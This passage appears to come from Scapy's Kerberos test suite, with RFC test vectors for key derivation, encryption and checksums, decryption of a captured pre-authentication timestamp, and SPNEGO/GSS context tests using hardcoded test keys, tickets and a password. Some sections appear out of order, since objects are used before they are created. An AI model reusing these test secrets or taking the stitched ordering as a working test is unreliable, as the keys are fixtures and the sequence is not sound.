_des3_string_to_key(b"potatoe", b"WHITEHOUSE.GOVdanny") == "dfcd233dd0a43204ea6dc437fb15e061b02979c1f74f377a" assert _des3_string_to_key(b"penny", b"EXAMPLE.COMbuckaroo") == "6d2fcdf2d6fbbc3ddcadb5da5710a23489b0d3b69d5d9d4a" assert _des3_string_to_key((u"\xdf").encode(), (u"ATHENA.MIT.EDUJuri\u0161i\u0107").encode()) == "16d5a40e1ce3bacb61b9dce00470324c831973a7b952feb0" assert _des3_string_to_key((u"\U0001d11e").encode(), b"EXAMPLE.COMpianist") == "85763726585dbc1cce6ec43e1f751f07f1c4cbb098f40b19" = RFC3692 - Test vectors for AES from scapy.libs.rfc3961 import Key, EncryptionType # https://datatracker.ietf.org/doc/html/rfc3962#appendix-B # Iteration count = 1200 # Pass phrase = "password" # Salt = "ATHENA.MIT.EDUraeburn" k = Key.string_to_key(EncryptionType.AES128_CTS_HMAC_SHA1_96, b"password", b"ATHENA.MIT.EDUraeburn", struct.pack(">L", 1200)) assert k.key.hex() == "4c01cd46d632d01e6dbe230a01ed642a" # Iteration count = 1200 # Pass phrase = (65 characters) # "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" # Salt = "pass phrase exceeds block size" k = Key.string_to_key(EncryptionType.AES256_CTS_HMAC_SHA1_96, b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", b"pass phrase exceeds block size", struct.pack(">L", 1200)) assert k.key.hex() == "d78c5c9cb872a8c9dad4697f0bb5b2d21496c82beb2caeda2112fceea057401b" = RFC8009 - Test vectors for AES-CTS HMAC-SHA2 - Sample results for string-to-key conversion from scapy.libs.rfc3961 import Key, EncryptionType # https://datatracker.ietf.org/doc/html/rfc8009#appendix-A # Iteration count = 32768 # Pass phrase = "password" # Salt = 10df9dd783e5bc8acea1730e74355f61 + "ATHENA.MIT.EDUraeburn" k = Key.string_to_key(EncryptionType.AES128_CTS_HMAC_SHA256_128, b"password", b"\x10\xdf\x9d\xd7\x83\xe5\xbc\x8a\xce\xa1s\x0et5_aATHENA.MIT.EDUraeburn") assert k.key.hex() == '089bca48b105ea6ea77ca5d2f39dc5e7' # Iteration count = 32768 # Pass phrase = "password" # Salt = 10df9dd783e5bc8acea1730e74355f61 + "ATHENA.MIT.EDUraeburn" k = Key.string_to_key(EncryptionType.AES256_CTS_HMAC_SHA384_192, b"password", b"\x10\xdf\x9d\xd7\x83\xe5\xbc\x8a\xce\xa1s\x0et5_aATHENA.MIT.EDUraeburn") assert k.key.hex() == '45bd806dbf6a833a9cffc1c94589a222367a79bc21c413718906e9f578a78467' = RFC8009 - Test vectors for AES-CTS HMAC-SHA2 - Sample results for key derivation # enctype aes128-cts-hmac-sha256-128: # 128-bit base-key: 3705D96080C17728A0E800EAB6E0D23C from scapy.libs.rfc3961 import _AES128CTS_SHA256_128 k = Key(EncryptionType.AES128_CTS_HMAC_SHA256_128, key=bytes.fromhex("3705D96080C17728A0E800EAB6E0D23C")) # Kc value for key usage 2 (label = 0x0000000299): kc = _AES128CTS_SHA256_128.derive(k, struct.pack(">IB", 2, 0x99), 128) assert kc.hex() == 'b31a018a48f54776f403e9a396325dc3' # Ke value for key usage 2 (label = 0x00000002AA): ke = _AES128CTS_SHA256_128.derive(k, struct.pack(">IB", 2, 0xAA), 128) assert ke.hex() == '9b197dd1e8c5609d6e67c3e37c62c72e' # Ki value for key usage 2 (label = 0x0000000255): ki = _AES128CTS_SHA256_128.derive(k, struct.pack(">IB", 2, 0x55), 128) assert ki.hex() == '9fda0e56ab2d85e1569a688696c26a6c' # enctype aes256-cts-hmac-sha384-192: # 256-bit base-key: 6D404D37FAF79F9DF0D33568D320669800EB4836472EA8A026D16B7182460C52 from scapy.libs.rfc3961 import _AES256CTS_SHA384_192 k = Key(EncryptionType.AES256_CTS_HMAC_SHA384_192, key=bytes.fromhex("6D404D37FAF79F9DF0D33568D320669800EB4836472EA8A026D16B7182460C52")) # Kc value for key usage 2 (label = 0x0000000299): kc = _AES256CTS_SHA384_192.derive(k, struct.pack(">IB", 2, 0x99), 192) assert kc.hex() == 'ef5718be86cc84963d8bbb5031e9f5c4ba41f28faf69e73d' # Ke value for key usage 2 (label = 0x00000002AA): ke = _AES256CTS_SHA384_192.derive(k, struct.pack(">IB", 2, 0xAA), 256) assert ke.hex() == '56ab22bee63d82d7bc5227f6773f8ea7a5eb1c825160c38312980c442e5c7e49' # Ki value for key usage 2 (label = 0x0000000255): ki = _AES256CTS_SHA384_192.derive(k, struct.pack(">IB", 2, 0x55), 192) assert ki.hex() == '69b16514e3cd8e56b82010d5c73012b622c4d00ffc23ed1f' = RFC8009 - Test vectors for AES-CTS HMAC-SHA2 - Sample encryptions and decryptions # enctype aes128-cts-hmac-sha256-128: k = Key(EncryptionType.AES128_CTS_HMAC_SHA256_128, key=bytes.fromhex("3705D96080C17728A0E800EAB6E0D23C")) # Plaintext: (empty) # Confounder: 7E5895EAF2672435BAD817F545A37148 c = k.encrypt(2, b"", confounder=bytes.fromhex("7E5895EAF2672435BAD817F545A37148")) assert c.hex() == "ef85fb890bb8472f4dab20394dca781dad877eda39d50c870c0d5a0a8e48c718" assert k.decrypt(2, c) == b"" # Plaintext: 000102030405 # Confounder: 7BCA285E2FD4130FB55B1A5C83BC5B24 c = k.encrypt(2, bytes.fromhex("000102030405"), confounder=bytes.fromhex("7BCA285E2FD4130FB55B1A5C83BC5B24")) assert c.hex() == "84d7f30754ed987bab0bf3506beb09cfb55402cef7e6877ce99e247e52d16ed4421dfdf8976c" assert k.decrypt(2, c).hex() == "000102030405".lower() # Plaintext: 000102030405060708090A0B0C0D0E0F # Confounder: 56AB21713FF62C0A1457200F6FA9948F c = k.encrypt(2, bytes.fromhex("000102030405060708090A0B0C0D0E0F"), confounder=bytes.fromhex("56AB21713FF62C0A1457200F6FA9948F")) assert c.hex() == "3517d640f50ddc8ad3628722b3569d2ae07493fa8263254080ea65c1008e8fc295fb4852e7d83e1e7c48c37eebe6b0d3" assert k.decrypt(2, c).hex() == "000102030405060708090A0B0C0D0E0F".lower() # Plaintext: 000102030405060708090A0B0C0D0E0F1011121314 # Confounder: A7A4E29A4728CE10664FB64E49AD3FAC c = k.encrypt(2, bytes.fromhex("000102030405060708090A0B0C0D0E0F1011121314"), confounder=bytes.fromhex("A7A4E29A4728CE10664FB64E49AD3FAC")) assert c.hex() == "720f73b18d9859cd6ccb4346115cd336c70f58edc0c4437c5573544c31c813bce1e6d072c186b39a413c2f92ca9b8334a287ffcbfc" assert k.decrypt(2, c).hex() == "000102030405060708090A0B0C0D0E0F1011121314".lower() # aes256-cts-hmac-sha384-192: k = Key(EncryptionType.AES256_CTS_HMAC_SHA384_192, key=bytes.fromhex("6D404D37FAF79F9DF0D33568D320669800EB4836472EA8A026D16B7182460C52")) # Plaintext: (empty) # Confounder: F764E9FA15C276478B2C7D0C4E5F58E4 c = k.encrypt(2, b"", confounder=bytes.fromhex("F764E9FA15C276478B2C7D0C4E5F58E4")) assert c.hex() == "41f53fa5bfe7026d91faf9be959195a058707273a96a40f0a01960621ac612748b9bbfbe7eb4ce3c" assert k.decrypt(2, c) == b"" # Plaintext: 000102030405 # Confounder: B80D3251C1F6471494256FFE712D0B9A c = k.encrypt(2, bytes.fromhex("000102030405"), confounder=bytes.fromhex("B80D3251C1F6471494256FFE712D0B9A")) assert c.hex() == "4ed7b37c2bcac8f74f23c1cf07e62bc7b75fb3f637b9f559c7f664f69eab7b6092237526ea0d1f61cb20d69d10f2" assert k.decrypt(2, c).hex() == "000102030405".lower() # Plaintext: 000102030405060708090A0B0C0D0E0F # Confounder: 53BF8A0D105265D4E276428624CE5E63 c = k.encrypt(2, bytes.fromhex("000102030405060708090A0B0C0D0E0F"), confounder=bytes.fromhex("53BF8A0D105265D4E276428624CE5E63")) assert c.hex() == "bc47ffec7998eb91e8115cf8d19dac4bbbe2e163e87dd37f49beca92027764f68cf51f14d798c2273f35df574d1f932e40c4ff255b36a266" assert k.decrypt(2, c).hex() == "000102030405060708090A0B0C0D0E0F".lower() # Plaintext: 000102030405060708090A0B0C0D0E0F1011121314 # Confounder: 763E65367E864F02F55153C7E3B58AF1 c = k.encrypt(2, bytes.fromhex("000102030405060708090A0B0C0D0E0F1011121314"), confounder=bytes.fromhex("763E65367E864F02F55153C7E3B58AF1")) assert c.hex() == "40013e2df58e8751957d2878bcd2d6fe101ccfd556cb1eae79db3c3ee86429f2b2a602ac86fef6ecb647d6295fae077a1feb517508d2c16b4192e01f62" assert k.decrypt(2, c).hex() == "000102030405060708090A0B0C0D0E0F1011121314".lower() = RFC8009 - Test vectors for AES-CTS HMAC-SHA2 - Sample checksums # Checksum type: hmac-sha256-128-aes128 k = Key(EncryptionType.AES128_CTS_HMAC_SHA256_128, key=bytes.fromhex("3705D96080C17728A0E800EAB6E0D23C")) cksum = k.make_checksum(2, bytes.fromhex("000102030405060708090A0B0C0D0E0F1011121314")) assert cksum.hex() == "d78367186643d67b411cba9139fc1dee" # Checksum type: hmac-sha384-192-aes256 k = Key(EncryptionType.AES256_CTS_HMAC_SHA384_192, key=bytes.fromhex("6D404D37FAF79F9DF0D33568D320669800EB4836472EA8A026D16B7182460C52")) cksum = k.make_checksum(2, bytes.fromhex("000102030405060708090A0B0C0D0E0F1011121314")) assert cksum.hex() == "45ee791567eefca37f4ac1e0222de80d43c3bfa06699672a" = RFC8009 - Test vectors for AES-CTS HMAC-SHA2 - Sample pseudorandom function (PRF) invocations # enctype aes128-cts-hmac-sha256-128: k = Key(EncryptionType.AES128_CTS_HMAC_SHA256_128, key=bytes.fromhex("3705D96080C17728A0E800EAB6E0D23C")) out = k.prf(b"test") assert out.hex() == "9d188616f63852fe86915bb840b4a886ff3e6bb0f819b49b893393d393854295" # enctype aes256-cts-hmac-sha384-192: k = Key(EncryptionType.AES256_CTS_HMAC_SHA384_192, key=bytes.fromhex("6D404D37FAF79F9DF0D33568D320669800EB4836472EA8A026D16B7182460C52")) out = k.prf(b"test") assert out.hex() == "9801f69a368c2bf675e59521e177d9a07f67efe1cfde8d3c8d6f6a0256e3b17db3c1b62ad1b8553360d17367eb1514d2" = Decrypt PA-ENC-TIMESTAMP from scapy.libs.rfc3961 import Key, EncryptionType pkt = Ether(b"RT\x00iX\x13RT\x00!l+\x08\x00E\x00\x01]\xa7\x18@\x00\x80\x06\xdc\x83\xc0\xa8z\x9c\xc0\xa8z\x11\xc2\t\x00XT\xf6\xab#\x92\xc2[\xd6P\x18 \x14\xb6\xe0\x00\x00\x00\x00\x011j\x82\x01-0\x82\x01)\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\n\xa3c0a0L\xa1\x03\x02\x01\x02\xa2E\x04C0A\xa0\x03\x02\x01\x12\xa2:\x048HHM\xec\xb0\x1c\x9bb\xa1\xca\xbf\xbc?-\x1e\xd8Z\xa5\xe0\x93\xba\x83X\xa8\xce\xa3MC\x93\xaf\x93\xbf!\x1e'O\xa5\x8e\x81Hx\xdb\x9f\rz(\xd9Ns'f\r\xb4\xf3pK0\x11\xa1\x04\x02\x02\x00\x80\xa2\t\x04\x070\x05\xa0\x03\x01\x01\xff\xa4\x81\xb70\x81\xb4\xa0\x07\x03\x05\x00@\x81\x00\x10\xa1\x120\x10\xa0\x03\x02\x01\x01\xa1\t0\x07\x1b\x05win1$\xa2\x0e\x1b\x0cDOMAIN.LOCAL\xa3!0\x1f\xa0\x03\x02\x01\x02\xa1\x180\x16\x1b\x06krbtgt\x1b\x0cDOMAIN.LOCAL\xa5\x11\x18\x0f20370913024805Z\xa6\x11\x18\x0f20370913024805Z\xa7\x06\x02\x04p\x1c\xc5\xd1\xa8\x150\x13\x02\x01\x12\x02\x01\x11\x02\x01\x17\x02\x01\x18\x02\x02\xffy\x02\x01\x03\xa9\x1d0\x1b0\x19\xa0\x03\x02\x01\x14\xa1\x12\x04\x10WIN1 ") enc = pkt[Kerberos].root.padata[0].padataValue k = Key(enc.etype.val, key=bytes.fromhex("7fada4e566ae4fb270e2800a23ae87127a819d42e69b5e22de0ddc63da80096d")) ts = enc.decrypt(k) assert ts.patimestamp == "20220715171847Z" ts.pausec == 0x9a4db + [MS-KILE] test vectors ~ mock = [MS-KILE] RC4 GSS_WrapEx (RFC4757) test vectors (sect 4.5) from unittest import mock from scapy.libs.rfc3961 import Key, EncryptionType ssp = KerberosSSP() ctx = KerberosSSP.CONTEXT(IsAcceptor=False, req_flags=GSS_C_FLAGS.GSS_C_CONF_FLAG) ctx.KrbSessionKey = Key(EncryptionType.RC4_HMAC, key=bytes.fromhex("81a2cb90af7fc2d19554a150d8185359")) ctx.SendSeqNum = 0x60cbacd3 Confounder = bytes.fromhex("5256f3fb630cf12a") with mock.patch('scapy.layers.kerberos.os.urandom', side_effect=lambda x: Confounder): _msgs, sig = ssp.GSS_WrapEx( ctx, [ SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=bytes.fromhex("112233445566778899aabbccddeeff")), ], ) assert isinstance(sig, KRB_GSSAPI_Token) assert sig.innerToken.TOK_ID == b"\x02\x01" assert sig.innerToken.root.SGN_ALG == 0x11 assert sig.innerToken.root.SEAL_ALG == 0x10 assert bytes(sig) == b'`+\x06\t*\x86H\x86\xf7\x12\x01\x02\x02\x02\x01\x11\x00\x10\x00\xff\xff\xe2\x9e\x8b\xbccH\xe7@\xeb\xaaa\x92D\xa1V\xa1;\\\xf6^\x03\x03\xae\x18n\x1aQ\r\x7fP\xdb\xfe\xe9\xeb\xab2\x9dws9\xf5\xcb\x94\xab\xc1\x9e\xbd\x08\x0f\xfcx\x18\x1b\xf8\x1f\xf2\'\x18-\xe4"\x93vuTf3\xbdj\xb6\x88%\x8a\x94\xd12\xfbY\x0f\x81R\xd3\xf1\x9b\xd5Z\x1f3o\xb7\xc3\x82\x14\t\x87\xac#\x89\x13M\x803\x88/\x92==S$\xa3\xe9\xf5C{\xd7\x0f\t^k\xb0\x0e\xe6\x8d\x8f!\x91+\x19\xb2y$\xc6\x1bN;\xfehA\x1f\x9f"\r\xe8\xda\xce\x00\xe7g\xb6b17\x06s\rM\xc8S\x9b0\x9f\xc7^l\xa4\xca\xe4p\xcd\xf1,\xc3\xcf\xb1\x91Hn>^\xb8\xc8\x07#\xb2\xb0G;\x07\xe4\xeaM8T\x87\xdd0=\xf2\xdb\x8d1\xf8\xc9\rS\xc4\xad\xcf9\xadx\xcfl\x85\xfb\xb8{LN\xe51\xa4,!3\xdf+\x03b\x13#t\xdf\x99T \xe4\xb2\xa6\xd1\xe1\x9dxy\xd5\x18e-Q\x01\xa3\x16\x96+\'\xb3\x88L\xb6}\x07W/\x96\xb9f\x8c\xa4,\xcas\x11\xa7\x15*\xc7\xc6\xd4\x92\x00\x91\x92\xfaJpy\x89\xe4;*\x10\xf1\x9eS^|\xf8\xaf\xda\xf6<\xe9\xa2\xa8\\\xe1\xbd\x17\xd8\x1c\xfev\xd2\xceWY\xa7\xfd\xbe\xffo\xb2y\xb8b\x0b\xc2\xc5\x18;$\xbe\x83\x1c~\xe1W\x11O\'\x00\xda!\x0b6\xed\xb7\xbd\xa7\xd9\x1a2\xf7\x94\x0b\xefC\x1cvW\x1c\xd4D\x99\xf7y\xccN\xbe\x82\x9f\xb3N\xea\xa1\xe4B$\rYb\xbd\xbc\xbc\x16\xc9b\x97KTn\x9c\xee8\r\xdaI\xf6Q\xac\xc5\xc5\x8a\xca\xe4\xad\x06\xd5~K\x91\xd8\xc5Use\xe8\xdd\xda~\xe9U\tc\xd7\rOV\xb4O\xc5\xa2n)\xb3l\xb2\x1d\x11"\x18%\xb5\xa2!|\xb1\xf1EM4\xd9J\x85\\\xb8`\xf2\xfeCh\x1e=0.~\x12Bs\xdd\x18\xb0O\xdd\xf6`\xb8\x85\x8e\x1ex\xd0"\xcc\x03\xf4g\xf3\xcf\x1an]\xf5;\xb81yEB\xb1\xd0\x8e8\xd3\xbf\xb0\xbf.[\xa6\xf7Z\x0fw\xd5k\xf2\x92K\x14O\xff<\x87\xeczW\xbf\xf3E\xee\x8aD\x96gm8\xc9E<8\xe6E!\xdb-\xe6\xd6E*\xa8\xf3\xda\x16u\x13N\x8d\x90\xcb\xb0\xd2t\xcea\x89V?\xd9\xa5nV\xa8\x00f\x1ex{\x089Pb05\xdd\xee\xb2\xfb\x84\xf6\xfb%\x07\xf2\xc1W\xe7N\x81\xa8\x19p\xe1\x14u\xce\x92n9:U\xb0kw\xc4D\xdb\xd26\x88\xe8\xa7|\x7f03xt\xfe\xf7\x87\xa1\x87\xfc\xaf\xd7:ZH7\xc8\xe3\xe6\x07\x120\x85\x97\xffr\xea.\xda\xe6\x9c\x94\x02\xadz\xe8\x1a\xbb>\x91\x00\xf0\xc8{\x99\xb2VBF\xbdV\xaf\x8em\x0e\xcf)(\xe5\x15\x12\x18\xf7\xe6\'\xc5e\xe1U@foO|\x0e\x93|-\x0e\x84x/\xcb\x1bS^YolN\n\xed|\x1d5\x0e\x16\x9d\x04_.\xaa\xa4\xbb/\x94\xcd\x14\x95v\xf85\xe5\xee\xcbD\x18g}\x04D\xe5\x1f\xaf\xcb\xed*\xfa\xc5\x0b\x1d2\x0b\xc2#\xd2b6\x01\xae\xe6\xdfj6:$)K\xfb;\x00\xf2f\x8d\xfc@N\x9f\xa1\x7f\xe96\xe6b\x07V\xa6\x91\x8f}\xe2\xde4?8\x0f\xab\x83\xfd\xe9\x11\x12K\xe5\x08\xa4\x82\x01\\0\x82\x01X\xa0\x03\x02\x01\x12\xa2\x82\x01O\x04\x82\x01K\\>\t\xe4\x1d8,a(\x7f\x1e\xd2\x8dHH\x9c\xa3\x03?&\xb9\xf4\xba\xef\xcf\xcf\xb6(8\x91\x0f\xa3lq\xc6 f&Ou\xd8Bk\xe84s\xf1\xec\xf6\x97wY\xc6Un;\xf5\xdeh\xb9J\xd6\xaf\xf4r\x00\x80\x17\x8d\xc4p\x81\xac\x89\xf1\xf6\x98\xef\x1f\xb3\xe5\x91}\xf5m\x1a\xbd\x08\x1d\x0217W0\x81\xddZ\xec,J%\xe2o\x86\xef{"a\xe0\xe2hBc\xeb^\x8b\xa3\x8c\xf7W\xf9F\xc6&\x1a\x041\x0c\xdf\xc3S\xaa>\x04\x90\xd7\x8a\xdd\xf3j\x80#4_\x95u\xaby3\x0f\x878\xe3\',t\xa7\xe9\xba7&\xd6\x82y\x1d9\x06\xf1\xff\xaf\xb33O\xdb\x00\xc5\x19\xd0\xb7\t\xe9\xeb\xe0iv\x08\xaa\xf4\x00\xcaG\xbb7\xb9P\xcd\xcf\xcbC\x9b\xec\xfdH\x1b\xbf\x89\x11\x96L\xa8\xb4\\6\xcf\x9a\xa6\x16\xf0\xfb,\xaf\x06.qj\xf0\x03\xfd\xc0 \x80\xb6\xb84\xcf\xec\tW~5\xad,\x14-\xf05\x04\xb2\xd4[o\xce\xa3\xf9\x06\x08\x0e\xeb\x1e\xbf2\xd7\xe4\xc2\x14\xabn_\x0c8j;#\r\xee\xce\xa6\x1f\xc3+\xed\x0c\xb7\xabdb\xb4\x8b\xb2\xd0\xe97\xa5P\xcd\xf1\x96\x8aT:=\xfc\xd9\x1e\xb6q\xcdM\x16\xead\x81\x84/\xab\xdd\xc8\xe1\xed\x17\xa3\xf5\x1c\xf1\x98\xf1\xf7\xbd\xbc\xc8\xdf' = GSS_Accept_sec_context (SPNEGO_negTokenResp: KRB_AP_REQ->KRB_AP_REP) with KrbRandomPatcher(): srvcontext, tok, negState = server.GSS_Accept_sec_context(None, tok) assert negState == 0 assert isinstance(tok, SPNEGO_negToken) tok = SPNEGO_negToken(bytes(tok)) assert isinstance(tok.token, SPNEGO_negTokenResp) assert tok.token.negState == 0 assert tok.token.supportedMech.oid == '1.2.840.48018.1.2.2' assert isinstance(tok.token.responseToken, SPNEGO_Token) assert tok.token.mechListMIC is None ap_rep = tok.token.responseToken.value.root assert isinstance(ap_rep, KRB_AP_REP) apreppart = ap_rep.encPart.decrypt(clicontext.ssp.KEY) assert apreppart.ctime == "20240305165255Z" assert apreppart.subkey.keyvalue == b"0000000000000000" assert apreppart.subkey.keytype == 17 # Hardcode (yes this will probably require updating this test) bytes(tok) assert bytes(tok) == b'\xa1\x81\x890\x81\x86\xa0\x03\n\x01\x00\xa1\x0b\x06\t*\x86H\x82\xf7\x12\x01\x02\x02\xa2r\x04pon0l\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x0f\xa2`0^\xa0\x03\x02\x01\x12\xa2W\x04UaS\xeck\xcc\xad~\xfa^\x8d\xca\xbb\xc5\xd2/\xfd\xd3\xc3\xd9\xadN`\xd2;\xd7{\xb7\xf4p.\xa9\x9a\xb1}D\xc6|_t\n\r"M\xcd\xe2\t\xf0Ri\xc7\xcf\xb5\xefr9\xf0`iS7N\x06qKP\x06\xde\xc4\x18\xd5_\xcb\x0ct\x03k\xbc\xb9\x1adT\x03\xc1\x8bM' = GSS_Init_sec_context (SPNEGO_negToken: KRB_AP_REP->OK) with KrbRandomPatcher(): clicontext, tok, negState = client.GSS_Init_sec_context(clicontext, tok) assert tok is None assert negState == 0 assert clicontext.KrbSessionKey.key == srvcontext.KrbSessionKey.key assert srvcontext.KrbSessionKey.key == b'0000000000000000' = GSS_GetMICEx/GSS_VerifyMICEx: client sends a signed payload data_header = b"header" # signed but not encrypted data = b"testAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE" # encrypted sig = client.GSS_GetMICEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data) ] ) assert isinstance(sig, KRB_InnerToken) and sig.TOK_ID == b"\x04\x04" assert sig.root.SND_SEQ == 0x7FFFFFFF//2 + 1 assert bytes(sig) == b'\x04\x04\x04\xff\xff\xff\xff\xff\x00\x00\x00\x00@\x00\x00\x00\xfc\xc6\x86\xab\x85e\x18\xe8\x7f\xa81t' server.GSS_VerifyMICEx( srvcontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data), ], sig ) = GSS_GetMICEx/GSS_VerifyMICEx: server answers back sig = server.GSS_GetMICEx( srvcontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data) ] ) assert isinstance(sig, KRB_InnerToken) and sig.TOK_ID == b"\x04\x04" assert sig.root.SND_SEQ == 0 assert bytes(sig) == b'\x04\x04\x05\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x98\xdeb<\x14\x1c\x9fe%{\x0e\xf7' client.GSS_VerifyMICEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data), ], sig ) = GSS_GetMICEx/GSS_VerifyMICEx: inject fault sig = client.GSS_GetMICEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data) ] ) bad_data_header = data_header[:-3] + b"hey" try: server.GSS_VerifyMICEx( srvcontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=bad_data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data), ], sig ) assert False, "No error was reported, but there should have been one" except ValueError: pass = Create client and server KerberosSSP (raw) client = KerberosSSP( UPN="User1@DOMAIN.LOCAL", SPN="cifs/dc1", ST=KRB_Ticket(bytes.fromhex("618204a13082049da003020105a10e1b0c444f4d41494e2e4c4f43414ca2163014a003020103a10d300b1b04636966731b03646331a382046c30820468a003020112a10302010da282045a04820456671f6131b38ee6e682d62cb937b8b79c589753182f8dbcb14a91b031052a3c20f7b4c89bf9a41fe9960d112acc73f6bd6527dfe70700a3d3c2e72b4ba6705dfc040fd56f9d7cd60b580ebecec2bfb240baac619690dbd9301ed98cac037cfdff8ff96ac98358969f3532f9c6adc076d136a0ef96ebddef293df879bb42adfbf7670434f340ad673e0303ae186e1a510d7f50dbfee9ebab323c715d6b27a67ffec60dba9f7475e5dbf88eee1fcc95b7d467ab2b4ecef893a92a25c80b8480ac8c12bc10741523a2738a3d7c3d2c438235111188968486cab2934b32cad1b6b4b2cbf343b25d41ad463c0513cf21cf9f77f072f4a49d8042947064e3375a1ae76c355fd48d5fc163cf7f865af91bcb788cffe2e9e1a30a7e3f91be8fb55b0a8b8c0b600ef3e0e88feaad4fbf4fffe76c9302ee2acfa3b64ca28cd006fd4af9c27d2eb45e47e582b87e632aa23475caeb0e3e9d777339f5cb94abc19ebd080ffc78181bf81ff227182de422937675546633bd6ab688258a94d132fb590f8152d3f19bd55a1f336fb7c382140987ac2389134d8033882f923d3d5324a3e9f5437bd70f095e6bb00ee68d8f21912b19b27924c61b4e3bfe68411f9f220de8dace00e767b662313706730d4dc8539b309fc75e6ca4cae470cdf12cc3cfb191486e3e5eb8c80723b2b0473b07e4ea4d385487dd303df2db8d31f8c90d53c4adcf39ad78cf6c85fbb87b4c4ee531a42c2133df2b0362132374df995420e4b2a6d1e19d7879d518652d5101a316962b27b3884cb67d07572f96b9668ca42cca7311a7152ac7c6d492009192fa4a707989e43b2a10f19e535e7cf8afdaf63ce9a2a85ce1bd17d81cfe76d2ce5759a7fdbeff6fb279b8620bc2c5183b24be831c7ee157114f2700da210b36edb7bda7d91a32f7940bef431c76571cd44499f779cc4ebe829fb34eeaa1e442240d5962bdbcbc16c962974b546e9cee380dda49f651acc5c58acae4ad06d57e4b91d8c5557365e8ddda7ee9550963d70d4f56b44fc5a26e29b36cb21d11221825b5a2217cb1f1454d34d94a855cb860f2fe43681e3d302e7e124273dd18b04fddf660b8858e1e78d022cc03f467f3cf1a6e5df53bb831794542b1d08e38d3bfb0bf2e5ba6f75a0f77d56bf2924b144fff3c87ec7a57bff345ee8a4496676d38c9453c38e64521db2de6d6452aa8f3da1675134e8d90cbb0d274ce6189563fd9a56e56a800661e787b083950623035ddeeb2fb84f6fb2507f2c157e74e81a81970e11475ce926e393a55b06b77c444dbd23688e8a77c7f30337874fef787a187fcafd73a5a4837c8e3e60712308597ff72ea2edae69c9402ad7ae81abb3e9100f0c87b99b2564246bd56af8e6d0ecf2928e5151218f7e627c565e15540666f4f7c0e937c2d0e84782fcb1b535e596f6c4e0aed7c1d350e169d045f2eaaa4bb2f94cd149576f835e5eecb4418677d0444e51fafcbed2afac50b1d320bc223d2623601aee6df6a363a24294bfb3b00f2668dfc404e9fa17fe936e6620756a6918f7de2de343f380fab83fde911124be508")), KEY=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex("4aad1c4c7b5bf02bfd061cfaebf0188d6c4f4642d569ca4ab536cb68adcb0e68")), ) server = KerberosSSP( SPN="cifs/dc1", PASSWORD="Password1", KEY=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex("133614b285c1d76d4ec78d642e9c6f7451d7652cf6c5fe635af6e89050d42517")), ) = GSS_Init_sec_context (KRB_AP_REQ) - DCE_STYLE with KrbRandomPatcher(): clicontext, tok, negState = client.GSS_Init_sec_context( None, req_flags=( GSS_C_FLAGS.GSS_C_DCE_STYLE | GSS_C_FLAGS.GSS_C_REPLAY_FLAG | GSS_C_FLAGS.GSS_C_SEQUENCE_FLAG | GSS_C_FLAGS.GSS_C_MUTUAL_FLAG | GSS_C_FLAGS.GSS_C_INTEG_FLAG ) ) assert negState == 1 assert isinstance(tok, KRB_AP_REQ) ap_req = KRB_AP_REQ(bytes(tok)) assert isinstance(ap_req, KRB_AP_REQ) assert ap_req.apOptions == "001" assert ap_req.ticket == client.ST auth = ap_req.authenticator.decrypt(client.KEY) assert auth.cksum.cksumtype == 0x8003 assert auth.cksum.checksum.Flags == ( GSS_C_FLAGS.GSS_C_DCE_STYLE | GSS_C_FLAGS.GSS_C_REPLAY_FLAG | GSS_C_FLAGS.GSS_C_SEQUENCE_FLAG | GSS_C_FLAGS.GSS_C_MUTUAL_FLAG | GSS_C_FLAGS.GSS_C_INTEG_FLAG ) assert auth.cksum.checksum.Exts[0].sprintf("%type%") == 'GSS_EXTS_CHANNEL_BINDING' # Hardcode (yes this will probably require updating this test) bytes(tok) assert bytes(tok) == b'n\x82\x06\x1d0\x82\x06\x19\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x0e\xa2\x04\x03\x02\x05 \xa3\x82\x04\xa5a\x82\x04\xa10\x82\x04\x9d\xa0\x03\x02\x01\x05\xa1\x0e\x1b\x0cDOMAIN.LOCAL\xa2\x160\x14\xa0\x03\x02\x01\x03\xa1\r0\x0b\x1b\x04cifs\x1b\x03dc1\xa3\x82\x04l0\x82\x04h\xa0\x03\x02\x01\x12\xa1\x03\x02\x01\r\xa2\x82\x04Z\x04\x82\x04Vg\x1fa1\xb3\x8e\xe6\xe6\x82\xd6,\xb97\xb8\xb7\x9cX\x97S\x18/\x8d\xbc\xb1J\x91\xb01\x05*< 